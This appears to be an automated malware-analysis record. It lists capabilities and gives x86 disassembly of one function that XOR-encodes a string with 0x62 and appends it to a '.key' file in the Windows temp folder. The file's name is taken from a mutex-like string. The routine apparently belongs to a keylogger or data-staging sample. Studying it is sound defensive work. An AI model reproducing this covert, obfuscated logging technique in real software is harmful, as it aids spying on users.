Function at 0x10002310
Capabilities:
Encode data using xor
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x10024008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov dword [ebp - 0x110], ecx
push 0
push eax
call fcn.10008df0
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0x108]
dec edi
nop dword [eax + eax]
mov al, byte [edi + 1]
lea edi, [edi + 1]
test al, al
jne 0x10002360
mov ax, word [0x1001fcc0]
mov edx, str.MUTEX_Ovauogocz
mov word [edi], ax
mov esi, edx
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x10002380
lea edi, [ebp - 0x108]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002390
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x108]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x100023b0
mov eax, dword [str..key]
push 0
push 0x80
push 4
mov dword [ecx], eax
mov al, byte [0x1001fcc8]
push 0
push 2
mov byte [ecx + 4], al
lea eax, [ebp - 0x108]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
mov dword [ebp - 0x10c], 0
push 0
push ebx
mov dword [ebp - 0x120], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10002417
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [ebp - 0x110]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
mov dword [ebp - 0x118], esi
call fcn.100073e9
add esp, 4
xor edx, edx
mov ebx, eax
test esi, esi
jle 0x10002516
cmp esi, 0x40
jb 0x100024f5
lea eax, [edi - 1]
lea ecx, [ebx - 1]
add eax, esi
add ecx, esi
cmp ebx, eax
ja 0x10002460
cmp ecx, edi
jae 0x100024f5
mov eax, esi
and eax, 0x8000003f
jns 0x1000246e
dec eax
or eax, 0xffffffc0
inc eax
movaps xmm2, xmmword [0x10021670]
mov ecx, esi
sub ecx, eax
mov esi, edi
sub esi, ebx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0x11c], esi
lea ecx, [edi + 0x30]
mov esi, dword [ebp - 0x118]
lea eax, [ebx + 0x10]
mov edi, dword [ebp - 0x11c]
nop dword [eax + eax]
movups xmm0, xmmword [ecx - 0x30]
lea ecx, [ecx + 0x40]
add edx, 0x40
movaps xmm1, xmm2
lea eax, [eax + 0x40]
pxor xmm0, xmm2
movups xmmword [eax - 0x50], xmm0
movups xmm0, xmmword [edi + eax - 0x40]
pxor xmm0, xmm2
movups xmmword [eax - 0x40], xmm0
movups xmm0, xmmword [ecx - 0x50]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x40]
pxor xmm1, xmm0
movups xmmword [eax - 0x20], xmm1
cmp edx, dword [ebp - 0x114]
jl 0x100024a0
mov edi, dword [ebp - 0x110]
mov dword [ebp - 0x114], edx
cmp edx, esi
jge 0x10002516
sub edi, ebx
lea ecx, [edx + ebx]
sub esi, edx
nop dword [eax]
mov al, byte [ecx + edi]
lea ecx, [ecx + 1]
xor al, 0x62
mov byte [ecx - 1], al
sub esi, 1
jne 0x10002500
mov edi, dword [ebp - 0x110]
push 0
lea eax, [ebp - 0x10c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [ebp - 0x120]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100073c8
mov esp, ebp
pop ebp
ret